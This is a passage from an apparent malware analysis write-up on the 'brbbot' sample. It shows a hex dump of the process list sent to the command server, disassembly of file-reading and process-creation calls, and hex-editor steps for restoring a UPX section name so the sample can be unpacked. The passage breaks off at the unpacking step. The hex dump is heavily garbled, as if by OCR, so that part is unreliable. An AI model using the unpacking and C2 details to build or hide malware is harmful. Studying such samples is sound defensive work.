PS C: \Use 20202000 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 2020 202020 2000 20	rs \Owner \Deskt op \S 49 64 6c 55 3b 73 73 74 73 2e 65 7b 73 74 73 2e 65 75 65 78 6f 67 67 75 66 66 65 75 66 66 75 73 76 66 36 75 73 76 66 36 76 76 76 67 62 66 36 76 76 76 67 62 76 7	Cripts> Py 79 73 74 6d 73 73 65 3b 77 72 73 73 72 73 73 72 73 73 72 73 73 72 73 73 72 73 73 65 3b 6c 65 73 74	.52 65 65 65 65 65 65 65 65 65 65 65 65 65	67 69 63 73 74 2e 77 69 765 78 665 6f	Idle;System;Regi stry;smss.exe;cs rss.exe;wininit. lexe;csrss.exe;wi nlogon.exe;servi lcs.exe;lsass.ex le;sychost.exe;fo otdrubet.exe;fo
20000080 20000080 20000080 20000060 20000060 20000060 20000060 20000060 20000060 20000060 20000060 200000100 200000100	6e 74 64 72 76 62 63 64 73 865 34 64 73 865 34 65 64 73 865 34 65 64 75 76 63 34 74 24 65 78 63 65 34 65 74 24 65 78 63 63 63 68 65 73 76 63 42 65 68 66 73 76 63 74 24 65 66 73 76 63 74 24 63 66 73 76 63 74 24	6f5786653 6775786635 77657766653 77657766653 7765778663 7765778663 7786653 765778 6657763 778 665778 665	998,988,998,998,998,998,998,998,998,998	73 76 65 78 665 78 665 78 665 78 665 78 665 78 665 78 665 78 665 78 778 673 78 778 778 778 778 778 778 778 778 778	Intdrvhost.exe;sv chost.exe;svchoss It.exe;svchost.ex le;dwm.exe;svchos It.exe;svchost.exe;sv le;svchost.exe;sv chost.exe;svchoss It.exe;svchost.exe;sv le;svchost.exe;sv le;svchost.exe;sv lchost.exe;svchos
20000120 20000130 20000140 20000150 20000160 20000160 20000180 20000180 20000190 20000180	74 22 65 78 65 65 65 78 65 78 63 66 64 78 65 78 65 64 77 78 65 64 65 77 78 65 64 65 77 78 65 66 64 65 76 64 65 76 75 76 75 75 76 75 75 76 75 75 75 75 75 75 75 75 75 75 75 75 75 7	1663 1663 1663 1663 1665 1766 1766 1778 1665 1786 1786 1786 1786 1786 1786 1786 1786	72 45 57 457	65776 65776 65776 640 640 640 6634 6634 663376 738 663376 738 663376 738 663376 738 738	It.exe;VBoxServic le.exe;svchost.ex le;svchost.exe;sv lchost.exe;svchos It.exe;svchost.ex le;svchost.exe;Me Imory Compression jsvchost.exe;svc lhost.exe;svchost
000001c0 000001c0 000001e0 0000001e0 00000200 00000210 00000210 00000220 00000220 00000220	236 8 6 6 7 7 8 6 7 7 8 6 6 7 7 8 6 6 7 7 8 6 7 7 8 6 7 7 8 6 7 7 8 6 7 7 8 6 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 6 6 5 7 7 7 8 7 6 7 7 7 8 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 8 7 7 7 7 7 8 7	02 03 04 05 05 05 05 05 05 05 05 05 05	553756573665736657366573665736657366573	76674 7738634 7738634 7738634 7738634 7738634 7786374 778633 778633 776633	isvchost.exe is
00000260 00000270 00000280	68 6f 73 74 2e 65 2e 65 78 65 3b 72 63 68 6f 73 74 2e	5 78 65 3b 75 62 79 65 78 65	73 76 63 68 6f 2e 65 78 65 3b 3b 77 6c 6d 73	73 74 73 76 73 76 2e 65	lhost.exe;svchost l.exe;ruby.exe;svl lchost.exe;wlms.el

The malware send the process list to the c2.

Rest of the malware functionality comes down to this:

Read a file from the c2:

mov lea	edx, ebx r9, [ <mark>rsp</mark> +58h+dwNumberOfBytesRead] ;	
add	rdx, rax ; 1pBuffer	
mov	rcx, rsi ; hFile	
call	<pre>cs:InternetReadFile</pre>	
test	eax, eax	
jz	short loc_7FF649791975	

Create a new process:

```
xor ecx, ecx ; lpApplicationName
mov [rsp+118h+dwCreationFlags], r15d ; dwCreationFlags
mov [rsp+118h+bInheritHandles], r15d ; bInheritHandles
call cs:CreateProcessA
test eax, eax
jnz loc_7FF6497920CC
```

Both implies that the infection isn't over and the party continues with the next stage :)

### Bonus – unpacking on disk

Locate renamed section with a hex editor, and rename it to original:

[UNSAVED] brbbot.exe - Reverse Engineers' Hex Editor

File Edit View Tools Help

📑 🖆 🚵	2				
🖻 brbbot.e	xe ×				
0000:016C	10000000	00000000	00000000	68B0	h.
0000:017A	0100AC01	00000B0	01006800	0000	h
0000:0188	00600100	040B0000	00000000	0000	. `
0000:0196	00000000	00000000	00000000	0000	
0000:01A4	00000000	00000000	00000000	0000	
0000:01B2	00000000	00000000	00000000	0000	
0000:01C0	00000000	00000000	00000000	0000	
0000:01CE	00000000	00000000	00000000	0000	
0000:01DC	00000000	00000000	00000000	0000	
0000:01EA	00000000	0000 <u>4E</u> 50	58300000	0000	NPX0
0000:01F8	00100100	00100000	00000000	0004	
0000:0206	00000000	00000000	00000000	0000	
0000:0214	800000E0	55505831	00000000	0090	UPX1
🕒 (UNSAVE	D] brbbot.e	xe - Reverse	Engineers' H	ex Edito	r
File Edit V	iew Tools	Help			

📑 🚰 🏝	2				
🖹 brbbot.e	xe ×				
0000:016C	10000000	00000000	00000000	68B0	h.
0000:017A	0100AC01	00000B0	01006800	0000	h
0000:0188	00600100	040B0000	00000000	0000	.`
0000:0196	00000000	00000000	00000000	0000	
0000:01A4	00000000	00000000	00000000	0000	
0000:01B2	00000000	00000000	00000000	0000	
0000:0100	00000000	00000000	00000000	0000	
0000:01CE	00000000	00000000	00000000	0000	
0000:01DC	00000000	00000000	00000000	0000	· · · · · · · · · · · · · · · · · · ·
0000:01EA	00000000	0000 <mark>55</mark> 50	58300000	0000	<b>O</b> PX0
0000:01F8	00100100	00100000	00000000	0004	
0000:0206	00000000	00000000	00000000	0000	
0000:0214	800000E0	55505831	00000000	0090	UPX1

Save:

🝺 [UNSAVED] brbbot.exe - Rev							
File	Edit	View	Tools	Help			
	New		C	trl-N			
	Open	C	trl-O				
	Open	>					
	Save		C	trl-S			
	Save A	\s					
	Close		Ct	rl-W			
	Close						
	Close						
Exit							

Unpack using UPX tool: